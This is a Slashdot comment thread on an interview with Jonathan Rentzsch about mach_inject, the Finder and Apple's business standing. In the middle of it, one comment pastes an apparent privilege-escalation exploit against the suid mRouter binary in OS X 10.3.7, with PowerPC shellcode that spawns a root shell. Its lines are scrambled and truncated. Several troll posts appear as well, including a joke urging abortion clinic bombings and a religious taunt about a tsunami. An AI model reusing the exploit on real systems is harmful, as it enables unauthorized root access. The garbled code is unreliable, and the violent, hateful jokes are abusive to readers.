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Hacking Mac OS X
Bill Hamm writes "DB is carrying a deep interview with Jonathan Rentzsch, who created an open source technology to allow other developers to inject their code into any running process to alter its functions and written papers for IBM to program the PowerPC correctly. The interview is huge and technical, and all over the place in terms of content. Some of the things discussed are the reasons for corporate America's resistance to buying from Apple, software optimization, the importance and history of 10.4's Core Data, why WebObjects is no longer relevant, the status of PowerPC compilers, and why Mac OS X's Finder should be killed off."
I was very excited for my meal today. Because today, I was having ribs. All day, I was thinking, "R-r-r-ribs!!! Dripping with sauce! Baby back r-r-r-ribs! Falling off the bone!" You know, the kind they serve at Grizzlebees. Well, I tell you, I wished I had less fun. First of all, you can hardly call 41 year old ribs 'baby back', I don't care what the fuck baby back refers to. Second, these things were more of the quality that you might make a stock out of. More likely, you'd toss 'em to your dog if he was a good boy. They say '63 was a dreadful vintage for champagne. Well, add ribs to the list of dreadful things that were born that year. I can get past that because we all know that ribs are generally a crappy cut of meat which is why you use a fairly strong sauce as well as why you cook them for a long time. This brings me to points three and four. I'll cover the sauce first which will be easy because there wasn't any. Now, a good sauce will bring out the most of a rib but even a bad sauce can give you subtle hints as to the preparation. You can often tell how the fat was rendered, either by boiling or slow cooking, and you can often guess the final cooking method be it oven (gas or electric), charcoal, gas grill, even the primitive imu leaves its own distinct fingerprint. Unfortunately, with the lack of sauce and the shitty meat quality, only God knows how they were cooked.
...that the "hacking" in "Hacking Mac OS X" is referring to "hacking" in the traditional sense, not "cracking".
And for more on mach_inject, referred to in the summary, see Jonathan Rentzsch's website...and an interesting list of mach_inject and mach_override users.
As for the Finder, it may be true it was a "compromise" of sorts between the NeXT world and the Mac OS world. But it wasn't necessarily the social compromise between "personalities" within Apple it's pained to be; it was likely more of a technical one. It's not perfect, and it's woefully inadequate for some tasks that involve managing thousands (or hundreds of thousands) of files. But it's still more than sufficient, and there's no reason to completely junk it: it can continue to evolve and be improved upon.
1st post!
Corporate America is hesitant of buying Apple products because they cost too darn much. I love my PowerBook, but it was hella expensive.
Linux blog http://nsajeff.com/blog
But will these be able to run on linux?
][
I wasn't aware that something was wrong with finder in terms of useability. Could someone elaborate?
If you don't know what AltaVista is (was), get off my lawn.
Interesting this comes only a day after a offer to write a Mac OSX virus. Hmm...
The interviewee argues that WebObjects is still relevant, and the fastest way of coding Web Applications, but is in danger of becoming irrevelevant if Apple do not update it soon!
Get a free iPod Nano 4GB!
This is one big piece of flamebait...
Take off every sig. For great justice.
so basically is this just like dynamically open sourcing running operations?
...or did i just completely misunderstand that entire thing?
allowing users to modify whatever's running? interesting idea, and might be useful for developers who would like the ability to code in real time and see their changes implemented as they make them....
Apparently the indonesians weren't clued in by the devestation god caused by them not celebrating Christmas, so they ignored Easter as well. Guess what's coming? more water! infidels!
I wouldn't be surprised if Core Data apps don't get AppleScriptablity for free-to-cheap circa 10.5.
Seems like this is the promise of Automator - once every app can understand Applescript, every app can interact with every other, without the user.
concrete5: a cms made for marketing, but strong enough for geeks.
You're not really AmicoToni.
The interview is huge and technical, and all over the place in terms of content.
A huge technical interview on Slashdot?
A guess that means no one will read it, but everyone has an opinion.
Nice comment, too:
The Army reading list
Grow up. Go earn a living.
Oh, yes: and replace the Dock with something that actually works.
The Dock works.
The dock works well for what it is designed to do. Quick launch access to Applications you put their. Quick look to see which Applications are running.
Yes there are more advanced application launchers out there. But the normal users won't need/use them. Save these specialized launchers for the shareware market.
I live off a PowerBook. I totally live the PowerBook lifestyle. Between a condo, office and the farm, ongoing presentations at PSIG and CAWUG, train rides, plane rides and on-sites, it's just easier to keep everything inside one machine that goes with me and has anything.
at the risk of being mod'd flamebait... this just oozes Apple marketing speak. seriously... "powerbook lifestyle"? i'm a proud owner of a PowerBook G4 1Ghz 1GB RAM 80GB HD... but i don't live the "lifestyle"... i use it because it gets the job done. same reason i use a (patched) XP and FreeBSD 5.2.1 box with KDE at work. it gets the job done. sometimes, just sometimes, the zealotry among the apple users makes me just a weee bit quezy...
Sorry, but no. You suck. Third post.
I like Macs. But Macs are absurdly out of place in the office.
Why?
Because Mac isn't serious about Corporate America that's why.
Mac is, and always will be, a consumer product. This is painfully obvious from their attention to design over function, and in their pricing strategy.
For years Mac's windowing/subwindowing functions required multiple open windows on a screen to explore subdirectories. Error messaging was minimal ("sad mac"? please.) Ease of use was prioritized over rich functionality (great for home users, terrible for corporate managed workstations). Interface design was minimalist rather than functional/logical. (To eject a disk you
Mac's culture isn't the culture of corporate America and Apple has resisted corporate culture ever since its inception. IMHO Mac deserves its place lost in the margin of professional computing. Its a great home product and it always should be.
------ The best brain training is now totally free : )
I use Path Finder as a drop-in replacement for Finder. It's a nice improvement over the standard finder, and its many options and side panels can be turned off to suit your preferences. I really like the drag n' drop 'holder', and showing directories grouped separately from normal files is just a good idea (haven't figured out how to do this with finder, what a pain!)
I mean who has the ability to post these weekly 30+ pages long blog masterpieces about Mac OS X?
Kudos to the blogger, beats many professional journalists.
Hacker? Using Hypercard?
Sorry, nice try MacZealots.
So, suddenly if a vulnerability appears in <s>internet explorer</s> safari that lets <s>activex</s> applescript interact, though the web with <s>windows media player</s> VLC, and we've got all sorts of problems on our hands!
I hope some Mac Fan Moderator hasn't modded this Offtopic just because they disagree with this person's opinion. Surely you can be objective?
Stiny! Get me a danish!
Take a look at this on IBM compilers on mac os x. According to SPEC ratings int performance is 11% to 50% faster using xlc and floating point is apparantly even better. Most of the performance gains are over 50%. Apple of all people can afford a compiler to at least compile their own OS on. The free software side of me in the other hand is happy that they are choosing to improve the gnu compiler instead but it honestly doesn't make any sense to me since they can get a practicaly free huge performance gain on a relatively cheap purchase of a compiler.
-bloo
because you can't afford one.
No way. OSX Is too cute to do such things!
Games!
Corporations want their workers to be productive and happy and not waiting forever for some doom or hl-2 port.
/*
l e/Contents/Resources/mRouter"
// Shellcode by b-r00t, modified by nemo.x 01\xc3\x38\x0a\xfe\xf4" \x f4\x44\xff\xff\x02" \x a6\x38\x63\x01\x60" \x fc\x38\x81\xff\xf8" \x 02\x7c\xa3\x2b\x78" \x 02\x2f\x62\x69\x6e" \
* fm-iSink.c
* overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
*
* written by -( nemo @ felinemenace.org )-
*
* http://pulltheplug.org and http://felinemenace.org.
*
* Bug discovered by Braden Thomas. Exploit by nemo.
*
* -( need a challenge...? )-
* -( http://www.pulltheplug.org )-
*/
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#define VULNPROG "/System/Library/SyncServices/SymbianConduit.bund
#define MAXBUFSIZE 4096
char shellcode[] =
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\
"\x2f\x73\x68";
char filler[MAXBUFSIZE];
int main(int ac, char **av)
{
unsigned int ret = 0xbffffffa - strlen(shellcode);
char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[] = { "TERM=xterm", shellcode, NULL };
memset(filler,(char)'A',sizeof(filler));
memcpy(filler+MAXBUFSIZE-5,&ret,4);
execve(*args, args,env);
return 0;
}
You want to implement Visual Basic for Applications, for OS X?
THOU SHALT NOT SPEAK POORLY OF MAC.
SO SAYETH THE MAC RELIGIOUS CREDO.
How typical that anyone who criticizes Mac gets censored by the Mac police. Why don't you people go bomb an abortion clinic or something...
It's a well known fact that the term "hacker" did not originally apply to the people that media now calls hackers.
Cracking refers to people who break into computer systems using nefarious means. Ie Kevin Mitnick is mentioned on the wikipedia page, as he should be since he is probably the worlds most notorious cracker.
Just because the media says it, doesn't mean it's true. And if a cracker ever refers to him/herself as a hacker, you can rest easy because all your base will not belong to them. Anyone worth their merit knows the correct definition and differentations between cracking/hacking/spidering/phreaking/etc.
And just in case you all are too lazy to read the links... Linus Torvalds is listed as a famous hacker. This is the true definition of the term. It's not because he ever broke into computer systems, it's because he's a good programmer.
Also of note is that in the computer science community the word "hack" has gone on to have a somewhat negative connotation. For example, "Dude this code is such a hack." Although this refers more loosely to the "hack and slash" programming methodology... which often results in ugly code that is held together very loosely.
However, an ugly code "hack" and the word "hacker" are distinctly different. Please refrain from falling prey to false assumptions based on media in the future.
I've never heard this term used before and would like to know what it means. Would someone please update wikipedia for me?
My little site.
I agree with the comment about Version Control and Finder. I use TortoiseSVN on win32 and love it. When I code on my mac, I greatly miss this significant integration.
The beauty of TortoiseSVN (CVS) is that they integrate to the Windows Explorer, which is in turn used by *most* applications in windows for managing files allowing the version control to be very well integrated with the entire operating system.
Unfortunately on Mac the only decent graphical way of managing Subversion is through eSVN, although there are other projects out there, this one shows the most promice ( I have not actually tested on Mac yet though.
If Apple could allow for Icon overlays and adding of file attributes similar to Windows Explorer it would be a huge improvement to the usability of OSX for GUI based hacking.
For Core Mac'ers - Checkout the activity on TortoiseSVN project on tigris.org. There is a huge amount of activity on this project as it is widely used by a very diverse group of hackers. Unfortunately a differentiator on the side of win32.
JsD
Corporate America is risk-averse. With Microsoft, they get their OS from a single company, but they have a wide range of hardware choices. Furthermore, it may be a single software company, the software company is a monopolist, is extraordinarily wealthy, and will hang around for a long time.
With Apple, they have only a single source for both their hardware and software. The hardware range is limited and prices are essentially fixed by Apple. The operating system is used by only a few percent of computer users, and the application programming interfaces are neither a de-facto standard nor are they open source or conform to other open standards.
If Apple wants to catch on more widely, they either have to make their entire software platform open (probably ditching at least Quartz), or they have to create a third party PPC market (which they can share with Linux). If they don't do either, they won't be growing much more.
wake me when they post the transparent backgrounds OS X hack.
Rentzsch praises PyObjC saying "Python is a complete slam dunk".
I would like to know more about it. What is it good for? Any drawbacks? How to learn it?
Well that's obvious, the icon alone is enough to inspire dementia. I like to call it "The Disturbing Guy (tm)".
All the Mac criticism on this board gets modded as a TROLL by the Mac police.
What a bunch of jokers.
Well, my 2.4Ghz/1Gb RAM Win2K machine seems about on par with my 600Mhz/512Mb RAM iMac at home. Windows accounts for about 50% of my total daily computer use, probably 30% is OS X and 20% is SuSE 9.1 on my laptop (2.8Ghz/1Gb RAM). Windows (including file copying) is the pig of the bunch.
And on the eighth day, God said "let there be meta-moderation".
That is fucking nifty.
Assume I was drunk when I posted this.
It's surprisingly simple. You know the Burger King motto "your way"? Apple's motto has always been "our way", and this simplicity, while it makes things easier for Apple, is a royal bitch for business customers. Further, Apple has always focused on "how can we control this to minimize our work" instead of "how can we help the customer?"
It used to be that if your Mac broke down and you were a business, an independent (but Apple certified) technician, maybe even one on your premises and employed by you, could ring up Apple, get the replacement part (it could even be done electronically, way back in the mid 90's, gasp!) and you'd be in business the next day. Many Apple resellers stocked common repair parts. As long as you had a serial number that wasn't out of warranty, nobody asked any questions. I got a free bezel to my 8500 when it broke, simply because the model wasn't old enough yet to be out of warranty. Two days later my new bezel was at the local Apple reseller. When I lost the end-cap on the hinge of my old powerbook, the university Apple technician took my serial number, and the next day tossed me a bag of 6.
Nowadays, Apple Stores are pretty much the only game in town thanks to preferential prioritization on severely limited inventory and (borderline illegal) price fixing.
They don't, for the most part, stock replacement parts. They don't do anything but the most basic repairs. Independent technicians can get certified by Apple (for thousands of dollars, which gets you self-study materials and 6 months access to Apple's internal support DB) but unless you meet a whole bunch of criteria (like moving around a half million dollars of product a quarter, carrying boatloads of insurance, etc) you don't qualify to be a reseller, and ONLY RESELLERS can order parts OR have access to Apple's internal technical support database OR perform "warranty" repairs. When I had one of the tiny little plastic feet replaced on my PB 17" a few months ago, I had to wait for half an hour while the Genius (broken sticky feet = Genius level) clicked through endless menus on the apple website, printed out about 10 pages, half of which I had to initial or sign to "authorize" the warranty repair, and the other half I got to keep (oh boy.) Replacing the foot took...2 minutes.
So, the short of it is that unless you bought Applecare AND you have a desktop (on-site service for laptops is not done under any circumstances; you've got to wait several days just to get it to them, because they have to ship you a box first), you're dumb shit out of luck for fixing your Mac quickly.
Want another example? If I'm a small business, I can get an account rep assigned from Dell, Gateway, etc. Even if I only buy a machine once a month- and it's been my general experience that they do a decent job at remembering who you are. Apple? You can buy 100 Macs a year and still not get anybody at Apple to say "boo" to you, because there's no such thing as direct sales. The best they can manage are "regional" business liasons, and they don't remember you from a goddamn hole in the wall.
Still not enough? If your Dell, Gateway, or HP breaks, out of warranty, you can call up that company's parts department and get a replacement. Apple? Nope. Sorry. You have to send your machine to the one Apple service center in the country (Texas) which will cost you a minimum non-refundable $250+ just to "look at it". They're infamous for wrecking unrelated parts and damaging stuff, and you can pretty much foget any data on the system...and how many of us have the facilities to back up 60GB? Not me.
As mentioned before- independent techs can't get parts. Customers certainly can't. Even Apple employees can't get parts- an employee said if he wants a personal system fixed, he has to take it to a repair center on the Apple "campus". So there's a huge "black market" in parts, often times from used machines that were bought on ebay and ripped apart for their guts because they're worth their weight in gold as parts.
Please help metamoderate.
Why after 3 updates to OS X is there still no one-click way to go up a directory? It's the most common task in file browsing!
If they'd just give me a nice 'Up' arrow in between the forward and back buttons I could forgive all the other reasons for Finder X's suckiness.
That said, I use PathFinder whenever possible.
What is amazing me most is the fact the someone has moded this up
People this is a trol and a very old one that has been posted a great deal.
from wikipedia http://en.wikipedia.org/wiki/Slashdot_troll
The only things certain in war are Propaganda and Death. You can never be sure which is which though
Replace "PowerBook" with "laptop" and it makes perfect sense. It's not about the brand name, so much as the flexibility that a portable offers. Some people, upon buying a laptop, get rid of all their desktops and live off of the notebook. It becomes a "lifestyle," inasmuch as your work files, eMail, calendar, address book, etc. are all on a single machine. Like the Blackberry lifestyle, or the Palm Pilot (remember those?) lifestyle, or the cell-phone lifestyle.
For the longest time, Mac-heads used "PowerBook" to mean "laptop" the way some people use "Kleenex" to mean "facial tissue."
I've got mixed feelings about looking to Windows Explorer for plugins. First, of course, Windows Explorer uses the HTML control and thus opens up a whole security can of worms. Second, too many people used the easy Explorer plugins rather than writing proper drivers for their devices. Cameras manufacturers are big-time sinners here, but even Microsoft went that way... so while your Pocket PC shows up on the desktop you can't get a UNC path pointing to the files...
And you can do an amazing lot with contextual menu plugins. All the Windows "Send To" capability becomes easy thanks to the CM Workshop. Apple needs to buy those guys a round of beer at least. GOOD beer too, mind!
But, Godohgodohgod... yes. They should never have tried to integrate the Mac OS 9 and NeXTSTeP applications. They should have left them as separate programs, and let people use the one they wanted... and left the NeXT shelf in place.
Oh, and contextual menus and the NeXT-style services really need some serious integration.
Or, they don't make/sell crap? Which one is it? Everytime /.ers do these comparisons it seems that the prices are at worst comparible to similar spec'd Win machines. Yes yes, you can build cheaper boxen, great. But I don't think this is what TFA is talking about.
Now, does the receptionist/accountant/sales person need a Dual 2.5 G5? Hell no. An iMac would even be overkill. But, a Mini IMO may be a nice alternative, especially if you have a room full of CRT's laying around like more and more IT departments are acquiring these days (LCD upgrades at my last two places of employment). Sure, you absolutely can buy cheaper PC's than $500, and many wouldn't need the built in FW, Radeon 9200, iLife, etc... that go into the final price of the Mini (throw in a keyboard and mouse too), but take away admin costs (if all hell breaks loose on an any of our Macs, I can reinstall a clean version of the OS in 20 minutes without touching the user space or installed apps) and it more than makes up for it IMO. Now, enter the OS intuitiveness wars below:
"The greatest obstacle to discovery is not ignorance - it is the illusion of knowledge." - Daniel Boorstin
I'm still trying to figure out how it was posted on /. It's sure to just confuse a bunch of people who read the summary and think it's all about how 'the finder sux'... which is the shortest section in there. What's weird is I'd never noticed that hiding the Finder toolbar and sidebar changed the window from bushed metal to aqua look! While I have to admit that's stupid, I'm not sure it's a reason to toss the whole thing ( just make it all one or the other... I hate brushed metal, so I'd make it aqua, but just pick one, Apple! ).
Of course, I'm in the 'why the hell would you want to hide the toolbar and sidebar' camp, and thus don't often see the aqua-look windows unless I'm undoing something some old-time can't-learn-anything-new all-this-useful-file-navigation-stuff-confuses-me OS 9 user did. I guess that just shows my NeXT vs. Mac OS bias. For me, the Finder is not the biggest problem in OS X. It's the Menu bar. I've realized that it's not so great on larger screens. It's perfect for the Mac Classic screen, but it's not what people look at to figure out what the active application is. I promise, if there's a flashing cursor in a text field, the user is _sure_ that's the active application, they're not looking at the menu bar... it's a broken interface designed for a 9-inch screen. I'd say that's my NeXT bias, but I've spent a lot of time watching people use OS X, and they do _not_ pay attention to the menu bar, which ultimately makes it just a bit of lost screen real estate. Too bad that's the one thing that's not likely to change about Mac OS. Otherwise, OS X is the best thing _ever_.
I support an Xserve. The local theatre group has an Xserve and because I'm a Mac user on the desktop (I mostly do programming and Unix support work) I get to support it. It's a nice box. That said, when a comparable product from IBM of all people is half the price (IBM X306 vs. XServe), your machine is definitely overpriced :).
I like Macs, the management software is nice, and if the cost was even close to what can be bought in the x86 world, I'd recommend them to customers. As it is, I can only recommend them in Apple-only or mixed environments.
com.apple.symbolichotkeys.plist
com.apple.systempreferences.plist
Although I can't find where the Command-Tab hack to induce application switcher maybe. Any ideas to the folks who have been tinkering under the hood of Panther?
Apple has had *so long* to get the finder *perfect* and it's still not nearly as good as it could be.
looks-wise: when going from 9 to X, they threw a lot of babies out with the bathwater. consider active and inactive windows. in OS 9: foreground window had 3d effects all around it. EVERY OTHER WINDOW was solid light grey and a 1-pixel darker grey outline, period. no question about which was which. in OS X, it's waaaay too overly-cutely-designed and too subtle to be useful. OK, so the drop shadow is a bit smaller? great, that'd be tought to see even if my desktop picture *weren't* black. And the stoplight buttons are not there? OK, thanks. and the titlebar text goes from dark grey to medium grey? OK, super. OS 9 made the state of the computer *obvious.* OS X hides it behind pretty-but-subtle cues.
And the performance isn't nearly what it could have been. Every use BeOS? You make a file on the desktop from within an app, boom, it appears in the background instantly. OS X: make a file or folder, click on the desktop to (hopefully) force a redraw, and a moment later (on a dual-G5) it'll show up. Editing a file that you can see in a window in list view? Save it and BeOS updates the 'date modified' column in the background instantly. OS X? Click the file and it'll update. And the Finder is especially lazy about updating disk usage when you have the 'calculate folder sizes' option checked. C'mon, Apple... I had BeOS R3 for Intel and PPC in *1998*! It's 2005 now! Want me to send you my old CDs?
perfect quote: "Finder X is the compromise between the Mac OS folks and the NeXT folks. Neither won, everybody lost."
great quote: "the entire bastardized notion of switching from metal to aqua and hiding the sidebar when clicking on the toolbar chiclet in the upper right-hand corner. Bonus: notice how if you click on the extreme right of the chiclet and try to switch back, you fail -- the window theme switch moved the chiclet slightly to the left and now you've got to follow it. Gag. Folks, this type of stuff makes Gnome look good."
Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
How did you got it running? I tried (ok, quite a while ago), but failed miserably...
"..and why Mac OS X's Finder should be killed off."
Precisely, one of the reason I find OSX so annoying to use; this 'Finder' assumes software is somehow lost already. A debilitating metaphor to say the least..
Please mod the parent informative , the only reason it was posted was because the grandparent was marked informative
Why is this moderated offtopic ? .it was pointing out a troll that was Moded up.
Or instead of Apple dropping Quartz, which is a huge part of their appeal (to both users and developers), the Open Source community should start working on and in GNUstep, which is an API-alike of the same technologies that OS X is based on.
Hell, APIs aren't protected I.P., you could make Quartz-compatible APIs for X11 and add them to GNUstep.
It would serve us better to emulate the good things we see out there, not knock them down to our level.
"Sometimes, I think Trent just needs a cup of hot chocolate and a blankie." -Tori Amos on Nine Inch Nails
I think it may be because some mods do not read the rules
The only penetration testing you do is on your lubed up hands in your mommy's basement.
Why you do not like Column View, I do not know. It's my preferred Finder setting.
I find it more generally useful for exploration of the filesytem than other views since it is so quick to jump back multiple levels quickly.
However I do wish it had some way to automatically weight the area you were exploring to better show filenames, rather than having to drag out the size of that area. to see clearly.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
If it's not lost, how come you are looking for it in the first place?
At least "Finder" implies you will actually find something you are looking for. Consider please the term "Explorer" which implies a long journey, at great cost and possibly without success at the end. Nothing could be more apt to describe Explorer and the annoying little dog that couldn't find drugs in a reggae bands luggage.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Crackers are people who crack software copy protection.
Crackers is white people, Keebler-man. Shutshomowth.
how many of us have the facilities to back up 60GB?
If you need 60G worth of data, you need facilities to back up 60G worth of data. Data that isn't backed up doesn't exist, it's vapor, patterns in the clouds, sandcastles before a storm.
Hie thee down to CompUSA and get a $100 USB or Firewire external drive at the very LEAST. If you're a business, DLT tape drives give you reliable and ROBUST backups.
Sheesh.
You'd think with all this "Mac-love" being thrown
around on
But we're not.
Look at the stats.
Its the dirty little secret of
So a better question than "Why doesn't Corporate America use Macs" might be "Why don't we?"
The answers are the same.
(But I won't go into them here. The mac police would only mod me Troll)
------ The best brain training is now totally free : )
... noteably from the standpoint that selecting a quicktime or other video file that Quicktime thinks it can deal with in column view causes the thing to thumbnail preview in the Finder, which flags the file as being IN USE. So if you're using something like Media100 (hardware accellerated video), and you select a media100 file in the finder, Quicktime shows a preview... you double-click to open the sucker and OH GUESS WHAT YOU CAN'T BECAUSE THE MEDIA100 HARDWARE IS IN USE BY ANOTHER APPLICATION.
So you either flip to list or icon view to select and open the godsdamned document, or you open it from inside the media100 software.
Finder, imo, is the one thing that needs SERIOUS improvement in OS X. I shouldn't be forced into using third party software* ( http://quicksilver.blacktree.com ) just to have a useable system.
* Quicksilver keeps me very, very far away from the Finder. I like it that way.
"Not anymore. Because of Finder."
Don't blame Durga. I voted for Centauri.
The powerbook lifestyle is majorly defined by how coherent and stable OSX's sleep mode works. You close the computer - anywhere, doing anything - and when you open it it is stable and picks up right where it left off.
And when i say stable, i mean cubase, reason, 20 plug in's, the song playing back, 100% CPU - close the lid, and when you open it, it will pick up right where it left off! No resource contention, no nothing. Nice.
That is why there is a life style, because you are never, NEVER obliged to take the overhead of saving and managing your workspace somehow, just to move.
Same for it's wireless networking support IMHO.
that's what it means. Try all that on windows, if you even trust hibernate - i don't. too many BSOD's from wireless adapters bombing and killing ALL my open apps/sessions.
Dude, you're coming into Appleland well after the OS X bomb went off. Apple has been working passive-aggressively to get their users to drop cash on new kit for years, and they've been leveraging the OS to do this. To whit:
1. You can run OS 9.1 on the 6100 through early-mid G4s, though it has to be installed from CD in the x100s (instead of a patch update)
2. OS 9.2.X requires first-gen G3s or better, though you can hack it onto older gear with the right tools.
3. 10.0's official sysreqs were "G3 and up". Ditto 10.1 and 10.2. 10.2 introduced Quartz Extreme, which instantly obsoleted non-AGP macs and most mac video boards. And all iMacs and portables with less than 32 vram.*
4. 10.3 won't install on beige hardware. To run the current OS, you've got to be using a machine with New World roms (or hack the sucker on with XPostFacto).
5. 10.4 will be shipping on DVD. I'm sure there'll be a CD option as well, but if it's DVD only, that chops out a couple of generations of iMacs, some blue g3s, and some powerbooks, etc, etc.
It's only a matter of time until the OS requires Altivec- the entire product line has been G4 or G5 for awhile now, so I imagine Apple is going to drop support for G3 machines as fast as they can.
And it's not like they "drop" support per se (unless obviously, as with the 10.3 release)- they do it passive-aggressively, by introducing new features that require recent hardware to use.
Doesn't help that you need a dual G5 and 2g of ram to get the Photoshop performance OS 9 has on less than half the hardware.
Don't get me wrong, I agree with you on all other points. But no forced upgrades? Please. You should've seen the 68k -> PPC transition.
* Yeah, you can use OS X with less than 32vram but the difference between QE and non-QE on slower, ram-starved machines is obvious.
Actually VLC can fullscreen to any monitor - it's just a menu option away (Video device).
I've added a shortcut to my 2nd monitor so I can just open VLC, hit 2 key presses and have fullscreen playing on the second monitor.
AND VLC's fullscreen will keep going if you switch applications on your primary monitor - quicktime will go back to a window if you do that.
Are there Macs or PCs in that abortion clinic?
I've been told that most of the reason had to do with the fact that Mac apps take advantage of drag-and-drop more than Windows apps do, so it made sense to always have other apps showing. Notice that Powerbooks and Apple monitors are usually wider than PC monitors.
I'm not joking, I don't know what it means and I'd like to know.
I get the impression that I'm missing a whole dimension to this discussion by not knowing what "rebuilding the desktop" means.
Aligning the dock to a corner of the screen rather than the centre of an edge fixes all of my complaints with the dock (something TinkerTool lets you do - apparently the feature is present in the dock, but not presented via any kind of UI). Moving every icon when I launch a new app or minimise a window destroys motor memory and is a very bad design decision. In the top left corner, it is ideal.
I am TheRaven on Soylent News
While I don't have a formal definition it basically means a programming language where you have a sequence of statements.
Most languages widely used are imperative languages, such as C/C++/C#/Jave/Perl/whathaveyou.
An example of another type of language is functional programming languages such as ML, Miranda and F#.
I believe Lisp is generally considered a functional language, but it also supports sequences of statements so I guess it really is a mix.
I'm a bit rusty on this subject, so if someone wants to correct me on this then please go ahead.
The Internet is full. Go Away!!!
In his original paper there's a missing step:
1. Discover the original function's address.
2. Test the waters.
3. Make the original function writable.
4. Allocate the escape branch island.
5. Target the escape island and make it executable.
6. Build the branch instruction.
7. Optionally allocate and engage the reentry island.
8. Atomically:
a. Insert the original first instruction into the reentry island.
b. Target the reentry island and make it executable.
c. Swap the original function's first instruction with our custom-built branch instruction.
Missing step?
9. Make the original function non-writable.
If you've not used a declarative language, try playing around with Prolog. It's not always fast, but sometimes you can do things in two or three lines of Prolog code that would take tens or hundreds of lines of imperative code.
I am TheRaven on Soylent News
...when you say you want to make an application "database independent" it makes any senior database architect like myself cringe. This is the first indicator that your software is crap.
What this usually means is that you get an applications that sucks on all platforms since you are optimizing for none.
This is fine for kids level stuff, but when you play in the Terabyte range, you'd better be designing and optimizing for the specific platform you use or you are toast.
Imperative code is code that the computer has to execute. As opposed to elective code that the computer will execute only if you ask nicely, and even then it's allowed to make up excuses like "Segmentation Fault" to avoid pulling its finger out.
Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
Windows explorer is the same way. At least for Windows 2000 from my experience. If it waits for the network file over a SMB connection the whole shebang freezes while the drive comes up. Anything that passes through the shell (saving a file,etc) becomes frozen until the SMB mount syncs. The systray even hangs at times until the network becomes free. I probably have issues with my ethernet card (on-board Intel Etherexpress Pro VM 100) or maybe even my SMB shares (samba on linux, P166, 64megs, headless, so no resource hogging X11). For example, I'll be tagging some MP3s and the whole shell slows to a crawl. On my other PC it wasn't all that much better. Yeah, samba is optimized and such according to recommendations for the buffer sizes under linux. I could be wrong though, cuz something seems pretty wrong. Anyways, network browsing has never been a real fast process for me (especially with hundreds and thousands of files) coupled with the fact that 100 mb is not really all that fast. A network share is gonna only give you a realistic max of maybe 3-5 MB/sec, probably less if you have multiple connections running. Its not hard for a pentium based file server to saturate its NIC. Not trying to be offtopic. but if anyone reads this and has any suggestions to improve my usability, please let me know. Like for instance, does file indexing help with SMB mounts? (I have that crap turned off) I know the apple section isn't really the place to ask such things, but hey, you never know. :)
zosxavius photography
That's it.
The real problem is that interprocess communication under UNIX isn't very good, was added late, isn't portable, and isn't used much. So apps tend to be monolithic, and intercommunication takes place at a very high level, like CORBA, XSLT, or Java RMI, if at all.
So trying to interpose new features at a lower level tends to involve horrible hacks. In the DOS era, there was "hooking" interrupts (a concept faithfully replicated in all Microsoft's OSs to date.) Then came "injecting DLLs." Now there's this.
One of the sad things about UNIX/Linux is that the original concept of little intercommunicating programs has been lost. Because the original intercommunication mechanism (pipes) was so weak, the concept didn't generalize.
I often wonder how different the history of UNIX might have been if, when you invoked a program, you got results back. You get to pass command line arguments and environment variables into a subprocess, but all you get back is a status code. This one-way model permeates the UNIX world. It's one reason that shell scripts and makefiles tend to be so blind.
What's needed is a sane approach to interprocess subroutine calls. Multics had this. QNX has it. Mach has support for it, but nobody uses it much.
You'd think they AC would at least be creative! It's pretty funny that it was modded up. Also funny that someone modded you down.
It's not offtopic, dumbass. It's orthogonal.
"com.apple.systempreferences.plist" has to do with the System Preferences application. Not your real system preferences, but I wouldn't be surprised if you could modify them via that plist. However, Command+Tab cannot be changed in System Preferences therefore you won't find any way to change it in there.
I have owned dozens of Macs and Apple portables.
Twice I had to send a portable to Apple for repair(once my PowerBook and the other time my wife's iBook).
Both times the box arrived the next morning and both times the unit was returned in 2 days. While Apple's way is not the PC industry's way, I'll take Apple quality and service any day over the PC industry's poor quality and convenient, poor service.
I don't think it was right to mod you down as a troll, but since this article is about Macs, a lot of Mac users with mod points will take exception to your obviously flawed comments.
That said, the bulk of your comment refers to old Classic Mac OS, not Mac OSX, which is now in its 4th year of existence. The rest is just plain ignorance and proves you know almost nothing about Macs in general, even less about Mac OSX, and have never heard of the $400 Mac mini or the fact that you can plug any 3 button mouse into OSX and get all the usual functionality.
In fact, the only part of your comment which might have a point is about maximising windows, but given that all apps at least maximise to fit the current content, I think it boils down to a matter of taste.
And when you make a comment complaining about how the Mac zealots modded you down, think about how you would respond if someone posted a comment comparing modern Macs to Win 3.1.
I like Trac by Edgewall Software for managing SVN. It has some its a web based solution, not an app.
http://www.edgewall.com/trac/
What are NeXT-style services? Are they the functions in the servics menu, or something different? 'Cause the services menu seems pretty integrated to me... but then again, I've only used OS X, not OS 9 or NeXTStep.
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
I would love for the Enter key on my iBook to behave as an Option key instead.
For those rare occasions when Enter doesn't do precisely the same thing as Return, Fn-Return works as Enter. A seperate Enter key is truly useless to me, but an Option key on the right side would be very useful, since I'd be able to use Command-Option combinations on the right side as well as the left.
I'm sure this is possible, but I've never been able to find really good documentation that spells out exactly how to do it. I have seen some really complicated docs on keyboard layouts, but I couldn't figure out how to do what I wanted.
Suggestions?
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
It's not that I don't like finding files, it's that I keep losing them again.
Apple needs to come up with something like Trapper Keeper, so I won't lose my files. Apple could even replace Jeff Goldblum with Rosie O'Donnel. Yeah, I know. That last bit is brilliant.
It's not offtopic, dumbass. It's orthogonal.
Apple needs to come up with something like Trapper Keeper, so I won't lose my files.
:-)
Attention!! All those people that write "Bookshelf" apps so that you can stuff other things in the dock more easily - you need to listen to this man/woman/AI and re-name your product Trapper Keeper!!
